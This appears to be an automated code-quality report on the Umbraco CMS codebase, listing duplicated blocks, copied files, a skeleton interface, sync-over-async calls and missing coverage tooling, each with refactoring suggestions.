Duplicated block (7 lines × 3) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MediaRepository.cs:443— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MediaRepository.cs:443-449 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MemberRepository.cs:889-895 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PublishableContentRepositoryBase.cs:858-864 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from all 3 call sites, so a change lands once. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MediaRepository.cs:443` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. ★ These copies have DRIFTED, and that is worth reading before extracting anything: just before the matched lines, `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PublishableContentRepositoryBase.cs:850` calls `GetEntityDeleteClauses` and `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MediaRepository.cs:431` does not — after which the two agree again for 2 more lines. One of those two behaviours is the intended one and the other is what a copy-paste left behind, so decide which BEFORE unifying them: extracting the shared part will silently settle it, and if the copy that skips the call is the wrong one, that bug is already live.
Duplicated block (6 lines × 11) src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:523— src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:523-528 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:791-832 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:996-1001 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1224-1229 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1314-1319 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1481-1486 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1782-1817 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1987-1992 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2391-2422 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2489-2494 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2563-2568 — all 11 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (6 lines × 10) src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:461— src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:461-466 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:926-931 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1110-1115 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1121-1139 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1399-1404 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1778-1783 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1909-1914 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2264-2269 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2321-2326 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2387-2392 — all 10 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (6 lines × 3) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PermissionRepository.cs:70— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PermissionRepository.cs:70-75 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PermissionRepository.cs:123-128 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PermissionRepository.cs:145-150 — all 3 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PermissionRepository.cs:70` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (69 lines × 2) src/Umbraco.Core/Models/ContentBase.cs:392— src/Umbraco.Core/Models/ContentBase.cs:392-460 | src/Umbraco.Core/Models/PublishableContentBase.cs:308-378 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once.
Duplicated block (34 lines × 2) src/Umbraco.Core/Services/ContentService.cs:1809— src/Umbraco.Core/Services/ContentService.cs:1809-1842 | src/Umbraco.Core/Services/MediaService.cs:1441-1474 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (13 lines × 5) src/Umbraco.Cms.Api.Management/ViewModels/Content/ContentResponseModelBase.cs:25— src/Umbraco.Cms.Api.Management/ViewModels/Content/ContentResponseModelBase.cs:25-41 | src/Umbraco.Cms.Api.Management/ViewModels/Content/PublishableVariantItemResponseModelBase.cs:18-30 | src/Umbraco.Cms.Api.Management/ViewModels/Content/PublishableVariantResponseModelBase.cs:18-30 | src/Umbraco.Cms.Api.Management/ViewModels/Item/ItemResponseModelBase.cs:18-32 | src/Umbraco.Cms.Api.Management/ViewModels/Tree/EntityTreeItemResponseModel.cs:25-43 — before extracting anything, compare `src/Umbraco.Cms.Api.Management/ViewModels/Content/PublishableVariantItemResponseModelBase.cs` and `src/Umbraco.Cms.Api.Management/ViewModels/Content/PublishableVariantResponseModelBase.cs` as WHOLE FILES: 82% of the shorter file's lines also appear in the other, so this reads as one file having been copied from the other rather than as a helper waiting to be extracted. The 1 duplicated block(s) this scan matched between them are fragments of that copy, not the extent of it — treat the file pair as the unit. If that is what happened, the fix is to keep one copy and have the other call it (or delete it), which resolves this row and its siblings together — extracting one helper per block leaves the fork in place. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Cms.Api.Management/ViewModels/Content/ContentResponseModelBase.cs:25` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (82 lines × 2) src/Umbraco.Core/Models/Blocks/BlockListItem.cs:25— src/Umbraco.Core/Models/Blocks/BlockListItem.cs:25-106 | src/Umbraco.Core/Models/Blocks/RichTextBlockItem.cs:25-112 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Models/Blocks/BlockListItem.cs:25` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (68 lines × 2) src/Umbraco.Core/Notifications/TemplateSavedNotification.cs:25— src/Umbraco.Core/Notifications/TemplateSavedNotification.cs:25-92 | src/Umbraco.Core/Notifications/TemplateSavingNotification.cs:29-139 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Notifications/TemplateSavedNotification.cs:25` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (55 lines × 2) src/Umbraco.Core/Security/Authorization/IContentPermissionAuthorizer.cs:19— src/Umbraco.Core/Security/Authorization/IContentPermissionAuthorizer.cs:19-73 | src/Umbraco.Core/Security/Authorization/IElementPermissionAuthorizer.cs:19-73 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once.
Duplicated block (36 lines × 3) src/Umbraco.Core/Security/Authorization/IContentPermissionAuthorizer.cs:19— src/Umbraco.Core/Security/Authorization/IContentPermissionAuthorizer.cs:19-73 | src/Umbraco.Core/Security/Authorization/IElementContainerPermissionAuthorizer.cs:19-54 | src/Umbraco.Core/Security/Authorization/IElementPermissionAuthorizer.cs:19-73 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from all 3 call sites, so a change lands once.
Duplicated block (67 lines × 2) src/Umbraco.Core/Services/IElementContainerPermissionService.cs:20— src/Umbraco.Core/Services/IElementContainerPermissionService.cs:20-86 | src/Umbraco.Core/Services/IElementPermissionService.cs:22-123 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once.
Coverage not measured — no coverage collector is wired up — Coverage NOT MEASURED: `--collect:"XPlat Code Coverage"` names a data collector that ships in the `coverlet.collector` package, and this repository wires up none — no test project references it and no runsettings declares one. The absence of coverage here is therefore not evidence about the suite or about our analyzer environment: without a collector, `--collect` produces nothing even from a suite that builds and passes. Add a `coverlet.collector` PackageReference to the test project(s) (or commit the Cobertura/OpenCover/lcov report your CI produces) and real coverage will be measured. It is excluded from the score rather than counted as a near-zero defect.
Skeleton type — most members are unfinished src/Umbraco.Cms.Api.Management/Factories/IConfigurationPresentationFactory.cs:13— `IConfigurationPresentationFactory` has 3 unfinished members out of 6 declared members (methods, properties, indexers and events, whether or not each carries a body) — a scaffolded type that was never implemented.
M1 · Documentation (README)· README may be stale · ×1
README may be stale — 6109 code files changed in the last 6 months but the README was not touched — it may no longer reflect the system.
Sync-over-async blocking — 259 blocking call(s) on async work (.Wait()/.GetAwaiter().GetResult()) — these waste a thread and can deadlock wherever a synchronization context is in play (a UI thread, or a caller that has one).
Duplication concentrated across 30 sibling directories (691 clone groups) src/Umbraco.Web.UI.Client/src/packages/content/content/rollback/modal/content-rollback-modal.element.ts:4— 691 of the duplicated blocks reported below have copies in at least two of the sibling directories block, clipboard, code-editor, content, core, data-type (+24 more sibling(s) not listed) under src/Umbraco.Web.UI.Client/src/packages/. That concentration is one structural fact, not 691 local ones: the siblings replicate behaviour none of them owns, which is the shape of a missing shared module — a common library every sibling imports — rather than 691 separate extractions. Check first whether the siblings are deliberately standalone deliverables (scaffold templates, demo apps that must stay copy-pasteable); where they are, the duplication is the design and the per-block rows are the ones to act on.
Duplication concentrated across 33 sibling directories (75 clone groups) src/Umbraco.Web.UI.Client/src/packages/core/collection/item/umb-entity-collection-item-element-base.element.ts:58— 75 of the duplicated blocks reported below have copies in at least two of the sibling directories collection, components, culture, entity, entity-action, entity-bulk-action (+27 more sibling(s) not listed) under src/Umbraco.Web.UI.Client/src/packages/core/. That concentration is one structural fact, not 75 local ones: the siblings replicate behaviour none of them owns, which is the shape of a missing shared module — a common library every sibling imports — rather than 75 separate extractions. Check first whether the siblings are deliberately standalone deliverables (scaffold templates, demo apps that must stay copy-pasteable); where they are, the duplication is the design and the per-block rows are the ones to act on.
Duplication concentrated across 6 sibling directories (58 clone groups) src/Umbraco.Web.UI.Client/src/packages/block/block-list/property-editors/block-list-editor/property-editor-ui-block-list.element.ts:41— 58 of the duplicated blocks reported below have copies in at least two of the sibling directories block, block-grid, block-list, block-rte, block-single, block-type under src/Umbraco.Web.UI.Client/src/packages/block/. That concentration is one structural fact, not 58 local ones: the siblings replicate behaviour none of them owns, which is the shape of a missing shared module — a common library every sibling imports — rather than 58 separate extractions. Check first whether the siblings are deliberately standalone deliverables (scaffold templates, demo apps that must stay copy-pasteable); where they are, the duplication is the design and the per-block rows are the ones to act on.
Duplication concentrated across 41 sibling directories (25 clone groups) src/Umbraco.Web.UI.Client/src/packages/tiptap/extensions/html-attr-class/html-attr-class.tiptap-api.ts:4— 25 of the duplicated blocks reported below have copies in at least two of the sibling directories anchor, block, blockquote, bold, bullet-list, character-map (+35 more sibling(s) not listed) under src/Umbraco.Web.UI.Client/src/packages/tiptap/extensions/. That concentration is one structural fact, not 25 local ones: the siblings replicate behaviour none of them owns, which is the shape of a missing shared module — a common library every sibling imports — rather than 25 separate extractions. Check first whether the siblings are deliberately standalone deliverables (scaffold templates, demo apps that must stay copy-pasteable); where they are, the duplication is the design and the per-block rows are the ones to act on.
Duplication concentrated across 6 sibling directories (19 clone groups) src/Umbraco.Web.UI.Client/src/packages/templating/partial-views/repository/partial-view-detail.server.data-source.ts:16— 19 of the duplicated blocks reported below have copies in at least two of the sibling directories local-components, modals, partial-views, scripts, stylesheets, templates under src/Umbraco.Web.UI.Client/src/packages/templating/. That concentration is one structural fact, not 19 local ones: the siblings replicate behaviour none of them owns, which is the shape of a missing shared module — a common library every sibling imports — rather than 19 separate extractions. Check first whether the siblings are deliberately standalone deliverables (scaffold templates, demo apps that must stay copy-pasteable); where they are, the duplication is the design and the per-block rows are the ones to act on.
Duplication concentrated across 4 sibling directories (16 clone groups) src/Umbraco.Web.UI.Client/src/packages/user/current-user/modals/current-user-mfa/current-user-mfa-modal.element.ts:14— 16 of the duplicated blocks reported below have copies in at least two of the sibling directories change-password, current-user, user, user-group under src/Umbraco.Web.UI.Client/src/packages/user/. That concentration is one structural fact, not 16 local ones: the siblings replicate behaviour none of them owns, which is the shape of a missing shared module — a common library every sibling imports — rather than 16 separate extractions. Check first whether the siblings are deliberately standalone deliverables (scaffold templates, demo apps that must stay copy-pasteable); where they are, the duplication is the design and the per-block rows are the ones to act on.
Duplication concentrated across 8 sibling directories (15 clone groups) src/Umbraco.Web.UI.Client/src/packages/elements/folder/user-permissions/input-element-folder-granular-user-permission.element.ts:15— 15 of the duplicated blocks reported below have copies in at least two of the sibling directories collection, entity-actions, folder, item, recycle-bin, repository (+2 more sibling(s) not listed) under src/Umbraco.Web.UI.Client/src/packages/elements/. That concentration is one structural fact, not 15 local ones: the siblings replicate behaviour none of them owns, which is the shape of a missing shared module — a common library every sibling imports — rather than 15 separate extractions. Check first whether the siblings are deliberately standalone deliverables (scaffold templates, demo apps that must stay copy-pasteable); where they are, the duplication is the design and the per-block rows are the ones to act on.
Duplication concentrated across 12 sibling directories (14 clone groups) src/Umbraco.Web.UI.Client/src/packages/property-editors/text-box/property-editor-ui-text-box.element.ts:93— 14 of the duplicated blocks reported below have copies in at least two of the sibling directories checkbox-list, color-picker, content-picker, date-picker, dropdown, eye-dropper (+6 more sibling(s) not listed) under src/Umbraco.Web.UI.Client/src/packages/property-editors/. That concentration is one structural fact, not 14 local ones: the siblings replicate behaviour none of them owns, which is the shape of a missing shared module — a common library every sibling imports — rather than 14 separate extractions. Check first whether the siblings are deliberately standalone deliverables (scaffold templates, demo apps that must stay copy-pasteable); where they are, the duplication is the design and the per-block rows are the ones to act on.
Duplication concentrated across 3 sibling directories (11 clone groups) src/Umbraco.Web.UI.Client/src/libs/extension-api/controller/server-extension-registrator.controller.ts:78— 11 of the duplicated blocks reported below have copies in at least two of the sibling directories apps, libs, packages under src/Umbraco.Web.UI.Client/src/. That concentration is one structural fact, not 11 local ones: the siblings replicate behaviour none of them owns, which is the shape of a missing shared module — a common library every sibling imports — rather than 11 separate extractions. Check first whether the siblings are deliberately standalone deliverables (scaffold templates, demo apps that must stay copy-pasteable); where they are, the duplication is the design and the per-block rows are the ones to act on.
Duplication concentrated across 3 sibling directories (7 clone groups) src/Umbraco.Web.UI.Client/src/packages/documents/document-blueprints/workspace/document-blueprint-workspace-editor.element.ts:4— 7 of the duplicated blocks reported below have copies in at least two of the sibling directories document-blueprints, document-types, documents under src/Umbraco.Web.UI.Client/src/packages/documents/. That concentration is one structural fact, not 7 local ones: the siblings replicate behaviour none of them owns, which is the shape of a missing shared module — a common library every sibling imports — rather than 7 separate extractions. Check first whether the siblings are deliberately standalone deliverables (scaffold templates, demo apps that must stay copy-pasteable); where they are, the duplication is the design and the per-block rows are the ones to act on.
Duplication concentrated across 10 sibling directories (7 clone groups) src/Umbraco.Web.UI.Client/src/packages/documents/documents/redirect-management/info-app/document-redirect-management-workspace-info-app.element.ts:40— 7 of the duplicated blocks reported below have copies in at least two of the sibling directories entity-actions, item, property-editors, publishing, recycle-bin, redirect-management (+4 more sibling(s) not listed) under src/Umbraco.Web.UI.Client/src/packages/documents/documents/. That concentration is one structural fact, not 7 local ones: the siblings replicate behaviour none of them owns, which is the shape of a missing shared module — a common library every sibling imports — rather than 7 separate extractions. Check first whether the siblings are deliberately standalone deliverables (scaffold templates, demo apps that must stay copy-pasteable); where they are, the duplication is the design and the per-block rows are the ones to act on.
Duplication concentrated across 2 sibling directories (7 clone groups) src/Umbraco.Web.UI.Client/src/packages/management-api/detail/cache-invalidation.manager.ts:7— 7 of the duplicated blocks reported below have copies in at least two of the sibling directories detail, item under src/Umbraco.Web.UI.Client/src/packages/management-api/. That concentration is one structural fact, not 7 local ones: the siblings replicate behaviour none of them owns, which is the shape of a missing shared module — a common library every sibling imports — rather than 7 separate extractions. Check first whether the siblings are deliberately standalone deliverables (scaffold templates, demo apps that must stay copy-pasteable); where they are, the duplication is the design and the per-block rows are the ones to act on.
Duplication concentrated across 9 sibling directories (6 clone groups) src/Umbraco.Web.UI.Client/src/packages/core/components/multiple-color-picker-input/multiple-color-picker-input.element.ts:26— 6 of the duplicated blocks reported below have copies in at least two of the sibling directories input-color, input-dropdown, input-eye-dropper, input-number-range, input-slider, input-time-zone (+3 more sibling(s) not listed) under src/Umbraco.Web.UI.Client/src/packages/core/components/. That concentration is one structural fact, not 6 local ones: the siblings replicate behaviour none of them owns, which is the shape of a missing shared module — a common library every sibling imports — rather than 6 separate extractions. Check first whether the siblings are deliberately standalone deliverables (scaffold templates, demo apps that must stay copy-pasteable); where they are, the duplication is the design and the per-block rows are the ones to act on.
Duplication concentrated across 5 sibling directories (5 clone groups) src/Umbraco.Web.UI.Client/src/packages/core/tree/tree-item-card/default/default-tree-item-card.element.ts:30— 5 of the duplicated blocks reported below have copies in at least two of the sibling directories default, tree-item, tree-item-card, tree-item-picker, view under src/Umbraco.Web.UI.Client/src/packages/core/tree/. That concentration is one structural fact, not 5 local ones: the siblings replicate behaviour none of them owns, which is the shape of a missing shared module — a common library every sibling imports — rather than 5 separate extractions. Check first whether the siblings are deliberately standalone deliverables (scaffold templates, demo apps that must stay copy-pasteable); where they are, the duplication is the design and the per-block rows are the ones to act on.
R10 · Code Duplication· Duplicated block with local edits (280 matched lines × 2 locations) · ×1
Duplicated block with local edits (280 matched lines × 2 locations) src/Umbraco.Web.UI.Client/src/packages/block/block-list/property-editors/block-list-editor/property-editor-ui-block-list.element.ts:41— src/Umbraco.Web.UI.Client/src/packages/block/block-list/property-editors/block-list-editor/property-editor-ui-block-list.element.ts:41 · src/Umbraco.Web.UI.Client/src/packages/block/block-single/property-editors/block-single-editor/property-editor-ui-block-single.element.ts:42 — the two spans are one implementation copied and then locally edited — 1689 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one.
Wholesale file copy (244 identical lines × 2 files) src/Umbraco.Web.UI.Client/src/packages/content/content/rollback/modal/content-rollback-modal.element.ts:4— src/Umbraco.Web.UI.Client/src/packages/content/content/rollback/modal/content-rollback-modal.element.ts:4 · src/Umbraco.Web.UI.Client/src/packages/documents/documents/rollback/modal/rollback-modal.element.ts:6 — these 2 files are line-for-line copies of one another — 244 lines are identical, in the same order, in every one of them — so this is one fact about the file set, not a block to extract. An edit made to one file and not the others changes behaviour silently, which is the failure a wholesale copy guarantees. Pick one file as the single source and derive the others from it (re-export it, spread it into the local overrides each variant genuinely needs, or generate the copies at build time) — the few lines that differ between the files are exactly the part each variant should still own. Check first whether the copies are deliberately standalone deliverables (a translation file seeded from its sibling and waiting to be translated); where they are, the duplication is the design, and the honest move is to mark the seeded file as untranslated rather than to let it pass as done.
Wholesale file copy (222 identical lines × 2 files) src/Umbraco.Web.UI.Client/src/packages/documents/documents/publishing/schedule-publish/modal/document-schedule-modal.element.ts:3— src/Umbraco.Web.UI.Client/src/packages/documents/documents/publishing/schedule-publish/modal/document-schedule-modal.element.ts:3 · src/Umbraco.Web.UI.Client/src/packages/elements/publishing/schedule-publish/modal/element-schedule-modal.element.ts:3 — these 2 files are line-for-line copies of one another — 222 lines are identical, in the same order, in every one of them — so this is one fact about the file set, not a block to extract. An edit made to one file and not the others changes behaviour silently, which is the failure a wholesale copy guarantees. Pick one file as the single source and derive the others from it (re-export it, spread it into the local overrides each variant genuinely needs, or generate the copies at build time) — the few lines that differ between the files are exactly the part each variant should still own. Check first whether the copies are deliberately standalone deliverables (a translation file seeded from its sibling and waiting to be translated); where they are, the duplication is the design, and the honest move is to mark the seeded file as untranslated rather than to let it pass as done.
R10 · Code Duplication· Duplicated block with local edits (180 matched lines × 2 locations) · ×1
Duplicated block with local edits (180 matched lines × 2 locations) src/Umbraco.Web.UI.Client/src/packages/core/menu/menu-tree-structure-workspace-context-base.ts:20— src/Umbraco.Web.UI.Client/src/packages/core/menu/menu-tree-structure-workspace-context-base.ts:20 · src/Umbraco.Web.UI.Client/src/packages/core/menu/menu-variant-tree-structure-workspace-context-base.ts:23 — the two spans are one implementation copied and then locally edited — 1179 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one.
R10 · Code Duplication· Duplicated block with local edits (161 matched lines × 2 locations) · ×1
Duplicated block with local edits (161 matched lines × 2 locations) src/Umbraco.Web.UI.Client/src/packages/block/block/workspace/views/edit/block-workspace-view-edit.element.ts:35— src/Umbraco.Web.UI.Client/src/packages/block/block/workspace/views/edit/block-workspace-view-edit.element.ts:35 · src/Umbraco.Web.UI.Client/src/packages/content/content/workspace/views/edit/content-editor.element.ts:32 — the two spans are one implementation copied and then locally edited — 996 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one.
R10 · Code Duplication· Duplicated block with local edits (159 matched lines × 2 locations) · ×1
Duplicated block with local edits (159 matched lines × 2 locations) src/Umbraco.Web.UI.Client/src/packages/elements/folder/user-permissions/input-element-folder-granular-user-permission.element.ts:15— src/Umbraco.Web.UI.Client/src/packages/elements/folder/user-permissions/input-element-folder-granular-user-permission.element.ts:15 · src/Umbraco.Web.UI.Client/src/packages/elements/user-permissions/input-element-granular-user-permission.element.ts:16 — the two spans are one implementation copied and then locally edited — 1085 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one.
R10 · Code Duplication· Duplicated block with local edits (152 matched lines × 2 locations) · ×1
Duplicated block with local edits (152 matched lines × 2 locations) src/Umbraco.Web.UI.Client/src/packages/documents/documents/collection/views/table/document-table-collection-view.element.ts:24— src/Umbraco.Web.UI.Client/src/packages/documents/documents/collection/views/table/document-table-collection-view.element.ts:24 · src/Umbraco.Web.UI.Client/src/packages/media/media/collection/views/table/media-table-collection-view.element.ts:20 — the two spans are one implementation copied and then locally edited — 758 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one.
R10 · Code Duplication· Duplicated block with local edits (133 matched lines × 2 locations) · ×1
Duplicated block with local edits (133 matched lines × 2 locations) src/Umbraco.Web.UI.Client/src/packages/tiptap/property-editors/statusbar-configuration/property-editor-ui-tiptap-statusbar-configuration.element.ts:19— src/Umbraco.Web.UI.Client/src/packages/tiptap/property-editors/statusbar-configuration/property-editor-ui-tiptap-statusbar-configuration.element.ts:19 · src/Umbraco.Web.UI.Client/src/packages/tiptap/property-editors/toolbar-configuration/property-editor-ui-tiptap-toolbar-configuration.element.ts:26 — the two spans are one implementation copied and then locally edited — 979 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one.
R10 · Code Duplication· Duplicated block with local edits (122 matched lines × 2 locations) · ×1
Duplicated block with local edits (122 matched lines × 2 locations) src/Umbraco.Web.UI.Client/src/packages/tiptap/property-editors/statusbar-configuration/tiptap-statusbar-configuration.context.ts:11— src/Umbraco.Web.UI.Client/src/packages/tiptap/property-editors/statusbar-configuration/tiptap-statusbar-configuration.context.ts:11 · src/Umbraco.Web.UI.Client/src/packages/tiptap/property-editors/toolbar-configuration/tiptap-toolbar-configuration.context.ts:15 — the two spans are one implementation copied and then locally edited — 1075 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one.
Wholesale file copy (117 identical lines × 2 files) src/Umbraco.Web.UI.Client/src/packages/block/block-list/context/block-list-entries.context.ts:1— src/Umbraco.Web.UI.Client/src/packages/block/block-list/context/block-list-entries.context.ts:1 · src/Umbraco.Web.UI.Client/src/packages/block/block-single/context/block-single-entries.context.ts:1 — these 2 files are line-for-line copies of one another — 117 lines are identical, in the same order, in every one of them — so this is one fact about the file set, not a block to extract. An edit made to one file and not the others changes behaviour silently, which is the failure a wholesale copy guarantees. Pick one file as the single source and derive the others from it (re-export it, spread it into the local overrides each variant genuinely needs, or generate the copies at build time) — the few lines that differ between the files are exactly the part each variant should still own. Check first whether the copies are deliberately standalone deliverables (a translation file seeded from its sibling and waiting to be translated); where they are, the duplication is the design, and the honest move is to mark the seeded file as untranslated rather than to let it pass as done.
R10 · Code Duplication· Duplicated block with local edits (117 matched lines × 2 locations) · ×1
Duplicated block with local edits (117 matched lines × 2 locations) src/Umbraco.Web.UI.Client/src/packages/documents/documents/publishing/workspace-context/document-publishing.workspace-context.ts:47— src/Umbraco.Web.UI.Client/src/packages/documents/documents/publishing/workspace-context/document-publishing.workspace-context.ts:47 · src/Umbraco.Web.UI.Client/src/packages/elements/publishing/workspace-context/element-publishing.workspace-context.ts:31 — the two spans are one implementation copied and then locally edited — 822 tokens are still identical, in the same order in both files, with only local edits between them. The copies have already begun to drift, which is this row's finding: an edit made to one and not the other changes behaviour silently. Diff the two spans first to learn what genuinely differs, then extract the shared core into one module both sites use, passing the differences in as parameters — or, if one copy exists only because the other could not be imported from its context, make one of them the single source the other is generated or re-exported from. If one copy is no longer reachable, delete it rather than letting it shadow the live one.
Wholesale file copy (113 identical lines × 2 files) src/Umbraco.Web.UI.Client/src/packages/documents/document-blueprints/workspace/document-blueprint-workspace-editor.element.ts:4— src/Umbraco.Web.UI.Client/src/packages/documents/document-blueprints/workspace/document-blueprint-workspace-editor.element.ts:4 · src/Umbraco.Web.UI.Client/src/packages/documents/documents/workspace/document-workspace-editor.element.ts:4 — these 2 files are line-for-line copies of one another — 113 lines are identical, in the same order, in every one of them — so this is one fact about the file set, not a block to extract. An edit made to one file and not the others changes behaviour silently, which is the failure a wholesale copy guarantees. Pick one file as the single source and derive the others from it (re-export it, spread it into the local overrides each variant genuinely needs, or generate the copies at build time) — the few lines that differ between the files are exactly the part each variant should still own. Check first whether the copies are deliberately standalone deliverables (a translation file seeded from its sibling and waiting to be translated); where they are, the duplication is the design, and the honest move is to mark the seeded file as untranslated rather than to let it pass as done.
R10 · Code Duplication· Duplicated block with local edits (110 matched lines × 2 locations) · ×1
